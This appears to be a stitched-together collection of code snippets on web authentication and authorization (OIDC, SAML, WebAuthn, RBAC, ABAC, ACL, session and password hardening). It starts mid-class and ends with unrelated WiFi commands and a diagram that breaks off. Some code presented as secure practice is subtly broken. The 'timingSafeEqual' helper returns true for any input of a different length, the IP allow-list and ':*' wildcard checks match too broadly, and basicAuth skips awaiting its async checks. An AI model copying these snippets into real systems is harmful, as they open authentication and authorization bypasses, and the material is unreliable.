    const claims = tokenSet.claims();

    // Get additional user info
    const userInfo = await this.client.userinfo(tokenSet.access_token);

    return {
      userId: claims.sub,
      email: claims.email,
      name: claims.name,
      tokens: tokenSet
    };
  }

  // Verify ID token
  static async verifyIdToken(idToken) {
    const tokenSet = await this.client.validateIdToken(idToken);
    return tokenSet.claims();
  }
}

// Standard OIDC scopes
const scopes = {
  openid: 'Required - indicates OIDC request',
  profile: 'Access to profile info (name, picture, etc.)',
  email: 'Access to email and email_verified',
  address: 'Access to address info',
  phone: 'Access to phone number'
};

// Usage
const authUrl = client.authorizationUrl({
  scope: 'openid email profile'
});

// Fetch additional user information
async function getUserInfo(accessToken) {
  const response = await fetch('https://accounts.example.com/userinfo', {
    headers: {
      'Authorization': `Bearer ${accessToken}`
    }
  });

  return await response.json();
  // {
  //   "sub": "248289761001",
  //   "name": "Alice Smith",
  //   "email": "alice@example.com",
  //   "picture": "https://example.com/photo.jpg"
  // }
}

const saml2 = require('saml2-js');

class SAMLService {
  constructor() {
    // Service Provider configuration
    this.sp = new saml2.ServiceProvider({
      entity_id: "https://myapp.com/saml/metadata",
      private_key: fs.readFileSync("sp-key.pem").toString(),
      certificate: fs.readFileSync("sp-cert.pem").toString(),
      assert_endpoint: "https://myapp.com/saml/assert",
      allow_unencrypted_assertion: false
    });

    // Identity Provider configuration
    this.idp = new saml2.IdentityProvider({
      sso_login_url: "https://idp.example.com/saml/login",
      sso_logout_url: "https://idp.example.com/saml/logout",
      certificates: [fs.readFileSync("idp-cert.pem").toString()]
    });
  }

  // Initiate SAML login
  getLoginUrl(req, res) {
    this.sp.create_login_request_url(this.idp, {}, (err, loginUrl) => {
      if (err) {
        return res.status(500).send(err);
      }
      res.redirect(loginUrl);
    });
  }

  // Handle SAML assertion
  async assertSAML(req, res) {
    const options = { request_body: req.body };

    this.sp.post_assert(this.idp, options, async (err, samlResponse) => {
      if (err) {
        return res.status(500).send(err);
      }

      const user = samlResponse.user;

      // Find or create user
      let dbUser = await db.users.findOne({ email: user.email });
      if (!dbUser) {
        dbUser = await db.users.create({
          email: user.email,
          name: user.name,
          samlId: user.name_id
        });
      }

      // Create session
      req.session.userId = dbUser.id;
      res.redirect('/dashboard');
    });
  }
}

const { Issuer, generators } = require('openid-client');

class OIDCService {
  static async initialize() {
    const issuer = await Issuer.discover('https://accounts.google.com');

    this.client = new issuer.Client({
      client_id: process.env.OIDC_CLIENT_ID,
      client_secret: process.env.OIDC_CLIENT_SECRET,
      redirect_uris: ['https://myapp.com/callback'],
      response_types: ['code']
    });
  }

  // Generate authorization URL
  static getAuthorizationUrl() {
    const codeVerifier = generators.codeVerifier();
    const codeChallenge = generators.codeChallenge(codeVerifier);
    const state = generators.state();

    const authUrl = this.client.authorizationUrl({
      scope: 'openid email profile',
      code_challenge: codeChallenge,
      code_challenge_method: 'S256',
      state
    });

    return { authUrl, codeVerifier, state };
  }

  // Handle callback
  static async handleCallback(req, codeVerifier) {
    const params = this.client.callbackParams(req);

    const tokenSet = await this.client.callback(
      'https://myapp.com/callback',
      params,
      { code_verifier: codeVerifier }
    );

    const userInfo = await this.client.userinfo(tokenSet.access_token);

    return {
      user: userInfo,
      tokens: tokenSet
    };
  }
}

const {
  generateRegistrationOptions,
  verifyRegistrationResponse,
  generateAuthenticationOptions,
  verifyAuthenticationResponse
} = require('@simplewebauthn/server');

class WebAuthnService {
  // Registration: Generate options
  static async generateRegistrationOptions(user) {
    const options = await generateRegistrationOptions({
      rpName: 'My App',
      rpID: 'myapp.com',
      userID: user.id,
      userName: user.username,
      userDisplayName: user.displayName,
      attestationType: 'none',
      authenticatorSelection: {
        residentKey: 'preferred',
        userVerification: 'preferred',
        authenticatorAttachment: 'platform', // or 'cross-platform'
      },
    });

    // Store challenge
    await redis.setex(
      `webauthn:${user.id}:challenge`,
      300, // 5 minutes
      options.challenge
    );

    return options;
  }

  // Registration: Verify response
  static async verifyRegistration(user, response) {
    const expectedChallenge = await redis.get(`webauthn:${user.id}:challenge`);

    const verification = await verifyRegistrationResponse({
      response,
      expectedChallenge,
      expectedOrigin: 'https://myapp.com',
      expectedRPID: 'myapp.com',
    });

    if (verification.verified) {
      // Store credential
      await db.credentials.create({
        userId: user.id,
        credentialID: verification.registrationInfo.credentialID,
        credentialPublicKey: verification.registrationInfo.credentialPublicKey,
        counter: verification.registrationInfo.counter,
      });
    }

    return verification.verified;
  }

  // Authentication: Generate options
  static async generateAuthenticationOptions(user) {
    const credentials = await db.credentials.find({ userId: user.id });

    const options = await generateAuthenticationOptions({
      rpID: 'myapp.com',
      allowCredentials: credentials.map(cred => ({
        id: cred.credentialID,
        type: 'public-key',
      })),
      userVerification: 'preferred',
    });

    await redis.setex(
      `webauthn:${user.id}:challenge`,
      300,
      options.challenge
    );

    return options;
  }

  // Authentication: Verify response
  static async verifyAuthentication(user, response) {
    const expectedChallenge = await redis.get(`webauthn:${user.id}:challenge`);
    const credential = await db.credentials.findOne({
      credentialID: response.id
    });

    const verification = await verifyAuthenticationResponse({
      response,
      expectedChallenge,
      expectedOrigin: 'https://myapp.com',
      expectedRPID: 'myapp.com',
      authenticator: {
        credentialPublicKey: credential.credentialPublicKey,
        credentialID: credential.credentialID,
        counter: credential.counter,
      },
    });

    if (verification.verified) {
      // Update counter
      await db.credentials.update(
        { id: credential.id },
        { counter: verification.authenticationInfo.newCounter }
      );
    }

    return verification.verified;
  }
}

// Client-side (browser)
/*
// Registration
const registrationOptions = await fetch('/webauthn/register/options').then(r => r.json());
const registrationResponse = await navigator.credentials.create({
  publicKey: registrationOptions
});
await fetch('/webauthn/register/verify', {
  method: 'POST',
  body: JSON.stringify(registrationResponse)
});

// Authentication
const authOptions = await fetch('/webauthn/auth/options').then(r => r.json());
const authResponse = await navigator.credentials.get({
  publicKey: authOptions
});
await fetch('/webauthn/auth/verify', {
  method: 'POST',
  body: JSON.stringify(authResponse)
});
*/

app.post('/login', async (req, res) => {
  const { username, password } = req.body;

  // Rate limiting
  const attempts = await redis.incr(`login:attempts:${username}`);
  if (attempts > 5) {
    return res.status(429).json({
      error: 'Too many attempts. Try again later.'
    });
  }
  await redis.expire(`login:attempts:${username}`, 900); // 15 minutes

  // Verify credentials
  const user = await db.users.findOne({ username });
  if (!user || !await verifyPassword(password, user.password)) {
    return res.status(401).json({ error: 'Invalid credentials' });
  }

  // Clear rate limit on success
  await redis.del(`login:attempts:${username}`);

  // Create session
  req.session.userId = user.id;
  res.json({ message: 'Login successful' });
});

function basicAuth(req, res, next) {
  const authHeader = req.headers.authorization;

  if (!authHeader || !authHeader.startsWith('Basic ')) {
    res.setHeader('WWW-Authenticate', 'Basic realm="My App"');
    return res.status(401).json({ error: 'Authentication required' });
  }

  const credentials = Buffer.from(
    authHeader.substring(6),
    'base64'
  ).toString('utf-8');

  const [username, password] = credentials.split(':');

  // Verify credentials
  const user = db.users.findOne({ username });
  if (!user || !verifyPassword(password, user.password)) {
    return res.status(401).json({ error: 'Invalid credentials' });
  }

  req.user = user;
  next();
}

// Usage
app.get('/api/data', basicAuth, (req, res) => {
  res.json({ data: 'protected' });
});

const https = require('https');
const fs = require('fs');

const options = {
  key: fs.readFileSync('server-key.pem'),
  cert: fs.readFileSync('server-cert.pem'),
  ca: fs.readFileSync('ca-cert.pem'),
  requestCert: true,
  rejectUnauthorized: true
};

const server = https.createServer(options, (req, res) => {
  const cert = req.socket.getPeerCertificate();

  if (req.client.authorized) {
    const cn = cert.subject.CN;
    console.log(`Authenticated: ${cn}`);
    res.writeHead(200);
    res.end('Hello ' + cn);
  } else {
    res.writeHead(401);
    res.end('Unauthorized');
  }
});

server.listen(443);

class PasswordlessAuthService {
  // Send magic link
  static async sendMagicLink(email) {
    const user = await db.users.findOne({ email });
    if (!user) {
      // Don't reveal if user exists
      return;
    }

    const token = crypto.randomBytes(32).toString('hex');
    const expires = Date.now() + 15 * 60 * 1000; // 15 minutes

    await redis.setex(
      `magic:${token}`,
      900,
      JSON.stringify({ userId: user.id, expires })
    );

    const magicLink = `https://myapp.com/auth/verify?token=${token}`;

    await emailService.send({
      to: email,
      subject: 'Your login link',
      html: `<a href="${magicLink}">Click here to log in</a>`
    });
  }

  // Verify magic link
  static async verifyMagicLink(token) {
    const data = await redis.get(`magic:${token}`);
    if (!data) {
      throw new Error('Invalid or expired link');
    }

    const { userId, expires } = JSON.parse(data);

    if (Date.now() > expires) {
      await redis.del(`magic:${token}`);
      throw new Error('Link expired');
    }

    await redis.del(`magic:${token}`);
    return userId;
  }
}

// Endpoints
app.post('/auth/passwordless', async (req, res) => {
  const { email } = req.body;
  await PasswordlessAuthService.sendMagicLink(email);
  res.json({ message: 'Check your email for login link' });
});

app.get('/auth/verify', async (req, res) => {
  const { token } = req.query;

  try {
    const userId = await PasswordlessAuthService.verifyMagicLink(token);
    req.session.userId = userId;
    res.redirect('/dashboard');
  } catch (error) {
    res.status(400).send('Invalid or expired link');
  }
});

// Define roles and permissions
const roles = {
  admin: ['read', 'write', 'delete', 'manage_users'],
  editor: ['read', 'write'],
  viewer: ['read']
};

// User model
const user = {
  id: 1,
  username: 'alice',
  roles: ['editor']
};

// Check permission
function hasPermission(user, permission) {
  return user.roles.some(role =>
    roles[role]?.includes(permission)
  );
}

// Usage
if (hasPermission(user, 'write')) {
  // Allow write operation
}

-- Users table
CREATE TABLE users (
  id SERIAL PRIMARY KEY,
  username VARCHAR(255) UNIQUE NOT NULL,
  email VARCHAR(255) UNIQUE NOT NULL
);

-- Roles table
CREATE TABLE roles (
  id SERIAL PRIMARY KEY,
  name VARCHAR(50) UNIQUE NOT NULL,
  description TEXT
);

-- Permissions table
CREATE TABLE permissions (
  id SERIAL PRIMARY KEY,
  name VARCHAR(100) UNIQUE NOT NULL,
  resource VARCHAR(100) NOT NULL,
  action VARCHAR(50) NOT NULL
);

-- User-Role assignment (many-to-many)
CREATE TABLE user_roles (
  user_id INT REFERENCES users(id) ON DELETE CASCADE,
  role_id INT REFERENCES roles(id) ON DELETE CASCADE,
  PRIMARY KEY (user_id, role_id)
);

-- Role-Permission assignment (many-to-many)
CREATE TABLE role_permissions (
  role_id INT REFERENCES roles(id) ON DELETE CASCADE,
  permission_id INT REFERENCES permissions(id) ON DELETE CASCADE,
  PRIMARY KEY (role_id, permission_id)
);

class RBACService {
  constructor() {
    // Role hierarchy
    this.roleHierarchy = {
      admin: ['editor', 'viewer'],
      editor: ['viewer'],
      viewer: []
    };

    // Permissions per role
    this.rolePermissions = {
      admin: ['users:*', 'posts:*', 'settings:*'],
      editor: ['posts:read', 'posts:write', 'posts:delete'],
      viewer: ['posts:read']
    };
  }

  // Get all inherited roles
  getInheritedRoles(role) {
    const inherited = [role];
    const children = this.roleHierarchy[role] || [];

    for (const childRole of children) {
      inherited.push(...this.getInheritedRoles(childRole));
    }

    return [...new Set(inherited)];
  }

  // Get all permissions for user
  getUserPermissions(user) {
    const allRoles = user.roles.flatMap(role =>
      this.getInheritedRoles(role)
    );

    const permissions = allRoles.flatMap(role =>
      this.rolePermissions[role] || []
    );

    return [...new Set(permissions)];
  }

  // Check if user has permission
  hasPermission(user, requiredPermission) {
    const userPermissions = this.getUserPermissions(user);

    return userPermissions.some(permission => {
      // Exact match
      if (permission === requiredPermission) return true;

      // Wildcard match (e.g., "posts:*" matches "posts:read")
      if (permission.endsWith(':*')) {
        const prefix = permission.slice(0, -2);
        return requiredPermission.startsWith(prefix);
      }

      return false;
    });
  }
}

// Usage
const rbac = new RBACService();
const user = { roles: ['editor'] };

console.log(rbac.hasPermission(user, 'posts:write')); // true
console.log(rbac.hasPermission(user, 'users:delete')); // false

function requireRole(...allowedRoles) {
  return (req, res, next) => {
    if (!req.user) {
      return res.status(401).json({ error: 'Not authenticated' });
    }

    const hasRole = req.user.roles.some(role =>
      allowedRoles.includes(role)
    );

    if (!hasRole) {
      return res.status(403).json({ error: 'Insufficient permissions' });
    }

    next();
  };
}

function requirePermission(...requiredPermissions) {
  return (req, res, next) => {
    if (!req.user) {
      return res.status(401).json({ error: 'Not authenticated' });
    }

    const rbac = new RBACService();
    const hasPermission = requiredPermissions.every(permission =>
      rbac.hasPermission(req.user, permission)
    );

    if (!hasPermission) {
      return res.status(403).json({ error: 'Insufficient permissions' });
    }

    next();
  };
}

// Routes
app.get('/admin/users', requireRole('admin'), (req, res) => {
  res.json({ users: [] });
});

app.delete('/posts/:id', requirePermission('posts:delete'), (req, res) => {
  res.json({ success: true });
});

class ABACService {
  // Define policies
  static policies = [
    {
      name: 'Allow owner to edit their posts',
      effect: 'allow',
      condition: (context) => {
        return context.user.id === context.resource.ownerId &&
               context.action === 'edit';
      }
    },
    {
      name: 'Allow managers to edit posts in their department',
      effect: 'allow',
      condition: (context) => {
        return context.user.role === 'manager' &&
               context.user.department === context.resource.department &&
               context.action === 'edit';
      }
    },
    {
      name: 'Block editing during maintenance',
      effect: 'deny',
      condition: (context) => {
        return context.environment.maintenanceMode &&
               ['edit', 'delete'].includes(context.action);
      }
    },
    {
      name: 'Allow reading published posts',
      effect: 'allow',
      condition: (context) => {
        return context.resource.status === 'published' &&
               context.action === 'read';
      }
    }
  ];

  // Evaluate access
  static evaluateAccess(context) {
    let decision = 'deny'; // Default deny

    for (const policy of this.policies) {
      if (policy.condition(context)) {
        if (policy.effect === 'deny') {
          return 'deny'; // Explicit deny overrides allows
        }
        decision = 'allow';
      }
    }

    return decision;
  }

  // Check if user can perform action
  static canAccess(user, resource, action, environment = {}) {
    const context = { user, resource, action, environment };
    return this.evaluateAccess(context) === 'allow';
  }
}

// Usage
const user = {
  id: 123,
  role: 'manager',
  department: 'engineering'
};

const post = {
  id: 456,
  ownerId: 789,
  department: 'engineering',
  status: 'published'
};

const canEdit = ABACService.canAccess(user, post, 'edit');
console.log(canEdit); // true (manager in same department)

// With environment context
const canEditDuringMaintenance = ABACService.canAccess(
  user,
  post,
  'edit',
  { maintenanceMode: true }
);
console.log(canEditDuringMaintenance); // false (maintenance block)

class PolicyEngine {
  constructor() {
    this.policies = [];
  }

  addPolicy(policy) {
    this.policies.push(policy);
  }

  evaluate(request) {
    const { subject, resource, action, context } = request;

    // Check all policies
    const results = this.policies.map(policy => ({
      policy: policy.name,
      effect: policy.evaluate(subject, resource, action, context)
    }));

    // Deny if any policy explicitly denies
    if (results.some(r => r.effect === 'deny')) {
      return { decision: 'deny', reason: 'Explicit deny' };
    }

    // Allow if at least one policy allows
    if (results.some(r => r.effect === 'allow')) {
      return { decision: 'allow' };
    }

    // Default deny
    return { decision: 'deny', reason: 'No matching allow policy' };
  }
}

// Define complex policies
const ownerPolicy = {
  name: 'resource-owner',
  evaluate: (subject, resource, action) => {
    if (subject.id === resource.ownerId) {
      return 'allow';
    }
    return 'neutral';
  }
};

const timePolicy = {
  name: 'business-hours',
  evaluate: (subject, resource, action, context) => {
    const hour = new Date().getHours();
    if (hour < 9 || hour > 17) {
      return 'deny';
    }
    return 'neutral';
  }
};

const ipPolicy = {
  name: 'ip-whitelist',
  evaluate: (subject, resource, action, context) => {
    const allowedIPs = ['192.168.1.0/24', '10.0.0.0/8'];
    if (allowedIPs.some(ip => context.ipAddress.startsWith(ip.split('/')[0]))) {
      return 'allow';
    }
    return 'neutral';
  }
};

// Use policy engine
const engine = new PolicyEngine();
engine.addPolicy(ownerPolicy);
engine.addPolicy(timePolicy);
engine.addPolicy(ipPolicy);

const decision = engine.evaluate({
  subject: { id: 123, role: 'user' },
  resource: { id: 456, ownerId: 123 },
  action: 'edit',
  context: { ipAddress: '192.168.1.100' }
});

class ACLService {
  constructor() {
    // ACL storage: resource -> user -> permissions
    this.acls = new Map();
  }

  // Grant permission
  grant(resourceId, userId, permission) {
    if (!this.acls.has(resourceId)) {
      this.acls.set(resourceId, new Map());
    }

    const resourceACL = this.acls.get(resourceId);
    if (!resourceACL.has(userId)) {
      resourceACL.set(userId, new Set());
    }

    resourceACL.get(userId).add(permission);
  }

  // Revoke permission
  revoke(resourceId, userId, permission) {
    const resourceACL = this.acls.get(resourceId);
    if (resourceACL?.has(userId)) {
      resourceACL.get(userId).delete(permission);
    }
  }

  // Check permission
  isAllowed(resourceId, userId, permission) {
    const resourceACL = this.acls.get(resourceId);
    if (!resourceACL) return false;

    const userPermissions = resourceACL.get(userId);
    if (!userPermissions) return false;

    return userPermissions.has(permission) ||
           userPermissions.has('*'); // Wildcard
  }

  // Get all permissions for user on resource
  getPermissions(resourceId, userId) {
    const resourceACL = this.acls.get(resourceId);
    return Array.from(resourceACL?.get(userId) || []);
  }

  // Get all users with access to resource
  getUsers(resourceId) {
    const resourceACL = this.acls.get(resourceId);
    if (!resourceACL) return [];

    return Array.from(resourceACL.keys());
  }
}

// Usage
const acl = new ACLService();

// Grant permissions
acl.grant('document:123', 'user:alice', 'read');
acl.grant('document:123', 'user:alice', 'write');
acl.grant('document:123', 'user:bob', 'read');

// Check permissions
console.log(acl.isAllowed('document:123', 'user:alice', 'write')); // true
console.log(acl.isAllowed('document:123', 'user:bob', 'write')); // false

// Revoke permission
acl.revoke('document:123', 'user:alice', 'write');

CREATE TABLE acl_entries (
  id SERIAL PRIMARY KEY,
  resource_type VARCHAR(50) NOT NULL,
  resource_id VARCHAR(255) NOT NULL,
  principal_type VARCHAR(50) NOT NULL, -- 'user' or 'group'
  principal_id VARCHAR(255) NOT NULL,
  permission VARCHAR(100) NOT NULL,
  granted BOOLEAN DEFAULT true,
  created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
  UNIQUE(resource_type, resource_id, principal_type, principal_id, permission)
);

CREATE INDEX idx_acl_resource ON acl_entries(resource_type, resource_id);
CREATE INDEX idx_acl_principal ON acl_entries(principal_type, principal_id);

class ReBAC {
  constructor() {
    // Store relationships: subject -> relation -> object
    this.relationships = new Map();
  }

  // Add relationship
  addRelation(subject, relation, object) {
    const key = `${subject}:${relation}`;
    if (!this.relationships.has(key)) {
      this.relationships.set(key, new Set());
    }
    this.relationships.get(key).add(object);
  }

  // Check relationship
  hasRelation(subject, relation, object) {
    const key = `${subject}:${relation}`;
    return this.relationships.get(key)?.has(object) || false;
  }

  // Check if user can perform action
  can(user, action, resource) {
    // Define rules
    const rules = {
      'read': ['owner', 'collaborator', 'viewer'],
      'write': ['owner', 'collaborator'],
      'delete': ['owner'],
      'share': ['owner']
    };

    const requiredRelations = rules[action];
    if (!requiredRelations) return false;

    return requiredRelations.some(relation =>
      this.hasRelation(user, relation, resource)
    );
  }

  // Get all objects user has relation with
  getRelated(subject, relation) {
    const key = `${subject}:${relation}`;
    return Array.from(this.relationships.get(key) || []);
  }
}

// Usage
const rebac = new ReBAC();

// Define relationships
rebac.addRelation('user:alice', 'owner', 'doc:123');
rebac.addRelation('user:bob', 'collaborator', 'doc:123');
rebac.addRelation('user:charlie', 'viewer', 'doc:123');

// Check permissions
console.log(rebac.can('user:alice', 'delete', 'doc:123')); // true
console.log(rebac.can('user:bob', 'write', 'doc:123')); // true
console.log(rebac.can('user:charlie', 'write', 'doc:123')); // false

class ScopeAuthorization {
  // Define scope hierarchy
  static scopeHierarchy = {
    'admin': ['read', 'write', 'delete'],
    'write': ['read'],
    'read': []
  };

  // Check if token has required scope
  static hasScope(tokenScopes, requiredScope) {
    // Check exact match
    if (tokenScopes.includes(requiredScope)) {
      return true;
    }

    // Check if any token scope includes required scope
    return tokenScopes.some(tokenScope => {
      const inherited = this.scopeHierarchy[tokenScope] || [];
      return inherited.includes(requiredScope);
    });
  }

  // Middleware
  static requireScope(...requiredScopes) {
    return (req, res, next) => {
      const token = req.user?.token;
      if (!token) {
        return res.status(401).json({ error: 'No token' });
      }

      const hasAllScopes = requiredScopes.every(scope =>
        this.hasScope(token.scopes, scope)
      );

      if (!hasAllScopes) {
        return res.status(403).json({
          error: 'Insufficient scopes',
          required: requiredScopes,
          provided: token.scopes
        });
      }

      next();
    };
  }
}

// Usage
app.get('/api/data',
  authenticateJWT,
  ScopeAuthorization.requireScope('read'),
  (req, res) => {
    res.json({ data: [] });
  }
);

app.post('/api/data',
  authenticateJWT,
  ScopeAuthorization.requireScope('write'),
  (req, res) => {
    res.json({ success: true });
  }
);

// 1. Principle of Least Privilege
// Grant minimal permissions needed
const minimalPermissions = ['posts:read'];
const excessivePermissions = ['posts:*', 'users:*', 'settings:*']; // ❌

// 2. Deny by Default
function checkAccess(user, resource, action) {
  // Default deny
  let allowed = false;

  // Explicit checks
  if (user.isOwner(resource)) allowed = true;
  if (user.hasPermission(action)) allowed = true;

  return allowed;
}

// 3. Centralized Authorization
class AuthorizationService {
  static async authorize(user, action, resource) {
    // Single point for all authorization logic
    const policies = await this.loadPolicies();
    return this.evaluate(policies, user, action, resource);
  }
}

// 4. Audit Authorization Decisions
async function authorizeWithAudit(user, action, resource) {
  const decision = await authorize(user, action, resource);

  await auditLog.record({
    timestamp: new Date(),
    userId: user.id,
    action,
    resource,
    decision,
    reason: decision.reason
  });

  return decision;
}

// 5. Separate Authorization from Business Logic
// ❌ Bad
app.post('/posts/:id/delete', async (req, res) => {
  const post = await Post.findById(req.params.id);
  if (req.user.id !== post.ownerId && !req.user.roles.includes('admin')) {
    return res.status(403).send('Forbidden');
  }
  await post.delete();
});

// ✅ Good
app.post('/posts/:id/delete',
  authorize('posts:delete'),
  async (req, res) => {
    const post = await Post.findById(req.params.id);
    await post.delete();
  }
);

// Strong password requirements
const PASSWORD_REQUIREMENTS = {
  minLength: 12,
  requireUppercase: true,
  requireLowercase: true,
  requireNumbers: true,
  requireSpecialChars: true,
  preventCommonPasswords: true,
  preventUserInfo: true  // Don't allow username in password
};

// Password hashing
const BCRYPT_ROUNDS = 12; // or use Argon2

class AccountLockoutService {
  static async recordFailedAttempt(username) {
    const key = `lockout:${username}`;
    const attempts = await redis.incr(key);
    await redis.expire(key, 900); // 15 minutes

    if (attempts >= 5) {
      await this.lockAccount(username);
    }

    return attempts;
  }

  static async lockAccount(username) {
    await db.users.update(
      { username },
      {
        locked: true,
        lockedUntil: new Date(Date.now() + 30 * 60 * 1000) // 30 min
      }
    );
  }

  static async checkLocked(username) {
    const user = await db.users.findOne({ username });

    if (user.locked && user.lockedUntil > new Date()) {
      return true;
    }

    // Auto-unlock
    if (user.locked && user.lockedUntil <= new Date()) {
      await db.users.update(
        { username },
        { locked: false, lockedUntil: null }
      );
    }

    return false;
  }
}

const sessionConfig = {
  // Use secure cookie settings
  cookie: {
    secure: true,           // HTTPS only
    httpOnly: true,         // Prevent XSS
    sameSite: 'strict',     // CSRF protection
    maxAge: 3600000,        // 1 hour
    domain: '.myapp.com'    // Explicit domain
  },

  // Session security
  secret: process.env.SESSION_SECRET, // Strong random secret
  resave: false,
  saveUninitialized: false,
  rolling: true,            // Reset expiry on activity

  // Use secure storage
  store: new RedisStore({
    client: redisClient,
    prefix: 'sess:',
    ttl: 3600
  })
};

// JWT best practices
const JWT_CONFIG = {
  // Short-lived access tokens
  accessTokenExpiry: '15m',

  // Longer-lived refresh tokens
  refreshTokenExpiry: '7d',

  // Strong secrets
  accessTokenSecret: process.env.JWT_SECRET,  // 256-bit+
  refreshTokenSecret: process.env.JWT_REFRESH_SECRET,

  // Algorithm
  algorithm: 'RS256',  // Use asymmetric when possible

  // Claims
  issuer: 'myapp.com',
  audience: 'myapp-api'
};

// Token rotation
async function rotateRefreshToken(oldToken) {
  // Verify old token
  const payload = jwt.verify(oldToken, JWT_CONFIG.refreshTokenSecret);

  // Revoke old token
  await redis.setex(`revoked:${oldToken}`, 604800, '1');

  // Issue new token
  return generateRefreshToken(payload.userId);
}

const rateLimit = require('express-rate-limit');

// Login rate limiting
const loginLimiter = rateLimit({
  windowMs: 15 * 60 * 1000, // 15 minutes
  max: 5, // 5 attempts
  message: 'Too many login attempts, please try again later',
  standardHeaders: true,
  legacyHeaders: false,
  skipSuccessfulRequests: true
});

// API rate limiting
const apiLimiter = rateLimit({
  windowMs: 60 * 1000, // 1 minute
  max: 100, // 100 requests per minute
  keyGenerator: (req) => req.user?.id || req.ip
});

app.post('/login', loginLimiter, loginHandler);
app.use('/api', apiLimiter);

class AuditLogger {
  static async logAuthEvent(event, userId, details) {
    await db.auditLogs.create({
      timestamp: new Date(),
      event,
      userId,
      ip: details.ip,
      userAgent: details.userAgent,
      success: details.success,
      metadata: details.metadata
    });
  }

  // Log events
  static async logLogin(userId, req, success) {
    await this.logAuthEvent('LOGIN', userId, {
      ip: req.ip,
      userAgent: req.get('user-agent'),
      success
    });
  }

  static async logPasswordChange(userId, req) {
    await this.logAuthEvent('PASSWORD_CHANGE', userId, {
      ip: req.ip,
      userAgent: req.get('user-agent'),
      success: true
    });
  }

  static async log2FAEnabled(userId, req) {
    await this.logAuthEvent('2FA_ENABLED', userId, {
      ip: req.ip,
      userAgent: req.get('user-agent'),
      success: true
    });
  }
}

// Implement CAPTCHA after failed attempts
async function checkCaptcha(req) {
  const attempts = await redis.get(`login:attempts:${req.ip}`);

  if (attempts && attempts > 3) {
    if (!req.body.captcha) {
      throw new Error('CAPTCHA required');
    }

    const isValid = await verifyCaptcha(req.body.captcha);
    if (!isValid) {
      throw new Error('Invalid CAPTCHA');
    }
  }
}

// Device fingerprinting
async function checkDeviceFingerprint(userId, fingerprint) {
  const knownDevices = await db.devices.find({ userId });

  if (!knownDevices.some(d => d.fingerprint === fingerprint)) {
    // New device - require additional verification
    await sendVerificationEmail(userId);
    return false;
  }

  return true;
}

// Regenerate session ID after login
app.post('/login', async (req, res) => {
  // ... authenticate user ...

  // Regenerate session
  const oldSessionData = req.session;
  req.session.regenerate((err) => {
    if (err) {
      return res.status(500).send('Login failed');
    }

    // Restore data
    Object.assign(req.session, oldSessionData);
    req.session.userId = user.id;

    res.json({ success: true });
  });
});

class BruteForceProtection {
  static async checkAttempts(identifier) {
    const key = `brute:${identifier}`;
    const attempts = await redis.get(key) || 0;

    if (attempts >= 10) {
      const ttl = await redis.ttl(key);
      throw new Error(`Too many attempts. Try again in ${ttl} seconds`);
    }

    return parseInt(attempts);
  }

  static async recordAttempt(identifier, success) {
    const key = `brute:${identifier}`;

    if (success) {
      await redis.del(key);
    } else {
      const attempts = await redis.incr(key);

      // Exponential backoff
      if (attempts === 1) {
        await redis.expire(key, 60); // 1 minute
      } else if (attempts === 5) {
        await redis.expire(key, 300); // 5 minutes
      } else if (attempts >= 10) {
        await redis.expire(key, 3600); // 1 hour
      }
    }
  }
}

class SecurePasswordReset {
  static async createResetToken(email) {
    const user = await db.users.findOne({ email });
    if (!user) {
      // Don't reveal if user exists
      return null;
    }

    // Cryptographically secure token
    const token = crypto.randomBytes(32).toString('hex');

    // Hash token before storage
    const hash = crypto.createHash('sha256').update(token).digest('hex');

    // Invalidate previous tokens
    await db.passwordResets.deleteMany({ userId: user.id });

    // Store with expiration
    await db.passwordResets.create({
      userId: user.id,
      tokenHash: hash,
      expires: new Date(Date.now() + 3600000), // 1 hour
      used: false
    });

    return token;
  }

  static async verifyResetToken(token) {
    const hash = crypto.createHash('sha256').update(token).digest('hex');

    const reset = await db.passwordResets.findOne({
      tokenHash: hash,
      expires: { $gt: new Date() },
      used: false
    });

    if (!reset) {
      throw new Error('Invalid or expired token');
    }

    return reset;
  }

  static async resetPassword(token, newPassword) {
    const reset = await this.verifyResetToken(token);

    // Hash new password
    const hashedPassword = await hashPassword(newPassword);

    // Update password
    await db.users.update(
      { id: reset.userId },
      { password: hashedPassword }
    );

    // Mark token as used
    await db.passwordResets.update(
      { id: reset.id },
      { used: true }
    );

    // Invalidate all sessions
    await db.sessions.deleteMany({ userId: reset.userId });

    return true;
  }
}

const crypto = require('crypto');

// Constant-time string comparison
function timingSafeEqual(a, b) {
  if (a.length !== b.length) {
    // Still compare to prevent timing leak
    b = a;
  }

  return crypto.timingSafeEqual(
    Buffer.from(a),
    Buffer.from(b)
  );
}

// Constant-time user lookup and password check
async function authenticateUser(username, password) {
  // Always perform lookup
  const user = await db.users.findOne({ username }) || {
    password: await bcrypt.hash('dummy', 12)
  };

  // Always perform comparison
  const isValid = await bcrypt.compare(password, user.password);

  if (!user.id || !isValid) {
    throw new Error('Invalid credentials');
  }

  return user;
}

┌─────────────────────────────────────────┐
│        WiFi Network Architecture        │
├─────────────────────────────────────────┤
│                                         │
│  Internet ◄──► Router/Gateway           │
│                    │                    │
│                    ▼                    │
│              Access Point(s)            │
│              ┌───┴───┐                  │
│              │       │                  │
│         ┌────▼─┐  ┌──▼───┐             │
│         │ STA  │  │ STA  │  (Clients)  │
│         └──────┘  └──────┘             │
│                                         │
└─────────────────────────────────────────┘

# Scan for networks
sudo iw dev wlan0 scan | grep SSID

# Connect using wpa_supplicant
wpa_passphrase "SSID" "password" | sudo tee -a /etc/wpa_supplicant/wpa_supplicant.conf
sudo wpa_supplicant -B -i wlan0 -c /etc/wpa_supplicant/wpa_supplicant.conf

# Get IP address
sudo dhclient wlan0

# Or use NetworkManager
nmcli dev wifi connect "SSID" password "password"

# Check WiFi interface status
iw dev wlan0 info

# View link quality and signal strength
iw dev wlan0 link

# Scan for nearby networks
iw dev wlan0 scan

# Monitor signal quality
watch -n 1 iw dev wlan0 station dump

# Check channel utilization
iw dev wlan0 survey dump

# View connection logs
journalctl -u wpa_supplicant

sequenceDiagram
    participant Client
    participant AP1 as Current AP
    participant AP2 as Target AP
    participant DS as Distribution System

    Note over Client,AP1: Client connected to AP1
    Client->>Client: Monitors signal strength (RSSI)
    Client->>Client: Signal from AP1 weakening

    Note over Client: Discovery Phase
    Client->>Client: Scan for nearby APs
    Client->>AP2: Probe Request
    AP2->>Client: Probe Response

    Note over Client: Decision Phase
    Client->>Client: Evaluate AP options<br/>(signal, load, capabilities)
    Client->>Client: Select AP2 as target

    Note over Client,AP2: Reassociation Phase
    Client->>AP2: Authentication Request
    AP2->>Client: Authentication Response
